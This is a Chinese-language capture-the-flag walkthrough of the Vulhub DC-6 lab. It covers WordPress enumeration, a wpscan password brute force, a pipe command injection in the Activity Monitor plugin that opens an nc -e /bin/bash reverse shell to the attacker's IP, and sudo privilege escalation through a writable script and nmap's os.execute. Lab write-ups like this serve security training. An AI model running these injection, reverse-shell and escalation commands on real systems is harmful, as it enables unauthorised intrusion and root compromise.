Vulhub 靶场训练 DC-6解析
2024-2-5 09:16:55 Author: www.freebuf.com(查看原文) 阅读量:5 收藏

一、搭建环境

kali充当攻击机 ip地址是:192.168.200.14

DC-6充当靶机 : IP地址暂时未知

注意:让两台机器的使用同一种网络适配器

二、信息收集

1、探索同网段存活的主机

①第一种方法

arp-scan -l

1707095519_65c035dfca6eae5bc4634.png!small?1707095520916

②第二种方法

netdiscover -i eth0 -r 192.168.200.0/24

1707095535_65c035ef9936eb28e1d5a.png!small?1707095536824

③第三种方法

nmap -sP 192.168.200.0/24 -T4 

1707095543_65c035f7963249e32217c.png!small?1707095545160

2、开放端口信息

nmap -sS -A 192.168.200.7 -p 1-65535

1707095554_65c03602e9c495b7c42e1.png!small?1707095556640

80端口和22端口开放,登录网页

应该是被重定向,在kali当中找到hosts文件,将192.168.200.7 wordy的关系写入进去

1707095570_65c03612151a213d35e65.png!small?1707095570979

1707095575_65c03617d0a13c3348a1b.png!small?1707095576860

刷新网页后,看到网页使用的是wordpress cms+

该靶机的CMS系统为wordpress5.1.1

1707095586_65c0362212d1abe5c5905.png!small?1707095587144

根据CMS版本思路:

第一:利用目录扫描工具寻找该CMS的后台管理系统,然后再爆破密码和账号,进入后台管理系统寻找可利用的点。

利用kali工具dirb,发现后台目录

dirb http://192.168.200.7/  

1707095597_65c0362d04191952e6969.png!small?1707095598571

后台界面

1707095604_65c03634375607f97821e.png!small?1707095605213

3、后台爆破

继续爆破账号密码,使用针对该CMS的账号爆破工具wpscan,猜解密码:

wpscan --url http://wordy -e u 
#指定url,枚举其中的用户名

1707095612_65c0363c4e4a67f636e7d.png!small?1707095614357

将以上用户名保存在一个新的文件当中,user.txt

cewl根据本文生成密码,然后再利用爆破工具暴力破解

提示信息

1707095621_65c0364570005254ff2bd.png!small?1707095622575

提示用kali自带的字典rockyou.txt导出包含k01的密码导出来的字典爆破(没解压的先解压,我之前解压过了)

cat /usr/share/wordlists/rockyou.txt | grep k01 > pwd.txt 

账号和密码都有了开始爆破

wpscan --url wordy -U user.txt -P pwd.txt

1707095630_65c0364ee8b23d61b86f2.png!small?1707095632118

账号:mark

密码:helpdesk01

第二:在网络上搜索该版本的漏洞,或使用searchsploit,msfconsole等工具寻找漏洞及利用方法。

登陆后台

1707095642_65c0365a3dcac26de7cff.png!small?1707095643411

三、漏洞探测

这里寻找到两个线索,

第一:该网站使用了activity monitor工具。

第二:在activity monitor目录的tools一栏存在可注入的点

1707095650_65c036622950a3df3cb78.png!small?1707095651193

根据这两个线索,本文又有两个思路:

第一:既然会回传用户的输入到后台解析,那么是否可以修改数据包达到我们的目的呢?可以利用BP抓包测试。

第二:利用前文提到的漏洞扫描工具对activity monitor进行扫描,寻找历史漏洞。

利用第一个思路,输入qquhu.com,点击lookup

1707095659_65c0366b6b491361588b4.png!small?1707095661280

BURP抓包测试,发现管道符后面的whoami运行了。说明此处存在漏洞。

反弹shell

利用该漏洞反弹一个shell。

首先在kali虚拟机上开启监听

nc -lvvp 6666

将包改成 qq.com | nc -e /bin/bash 192.168.200.14 6666 # kali的IP地址

执行成功

1707095673_65c03679505a31dace388.png!small?1707095674886

利用python开启交互模式。输入命令

python -c 'import pty;pty.spawn("/bin/bash")'

打开home目录,查找新的线索:

在mark目录下存在一个things-to-do文件,发现了graham的账号密码

1707095684_65c03684de3bd9d7ec5b1.png!small?1707095686048

然后登陆graham的账号密码,登陆失败,该靶机还开启了22端口因此尝试ssh登录。

ssh [email protected]

1707095693_65c0368d66818a5b67596.png!small?1707095694505

提权

sudo -l  #尝试sudo -l j免密登录
User graham may run the following commands on dc-6:
    (jens) NOPASSWD: /home/jens/backups.sh
# 看看当前用户拥有的权限,可以对backups.sh执行写操作

cd /home/jens
# 写入/bin/bash,执行,切换到jens的shell
echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh
# 发现可以以root权限执行nmap

sudo -l
User jens may run the following commands on dc-6:
    (root) NOPASSWD: /usr/bin/nmap
#发现可以用root权限执行nmap,nmap在早期版本是可以用来提权的将提权代os.execute("/bin/sh")
写入一个文件中。

echo "os.execute('/bin/bash')" > getshell
sudo nmap --script=getshell

1707095702_65c03696a6a490c1d42f7.png!small?1707095704065

进入/home/jens目录,打开backups.sh文件,里面是一个压缩命令行,说明该文件可以运行。

1707095711_65c0369f79a3b55049d27.png!small?1707095712358

1707095716_65c036a4a787e9d43cd1e.png!small?1707095717625

可以在该文件中添加/bin/bash语句,则可以打开jens的shell了。

echo '/bin/bash' >> backups.sh #在文件中添加命令行
sudo ./backups.sh #运行失败,因为此时是graham哟用户
sudo -u jens ./backups.sh #-u 指定用户

1707095724_65c036acd06b0419f788a.png!small?1707095725872

jens可以免密码运行root权限nmap,nmap可以运行文件

1707095732_65c036b45b6330e068763.png!small?1707095733832

# nmap提权:以root的权限用nmap执行这个脚本,打开root shell的文件,再让nmap执行

echo "os.execute('/bin/bash')" > getshell
sudo nmap --script=getshell

1707095741_65c036bdb06199e887c21.png!small?1707095742827

在root目录下发现flag

1707095753_65c036c953a6af1e71e02.png!small?1707095754399


文章来源: https://www.freebuf.com/articles/web/391486.html
如有侵权请联系:admin#unsafe.sh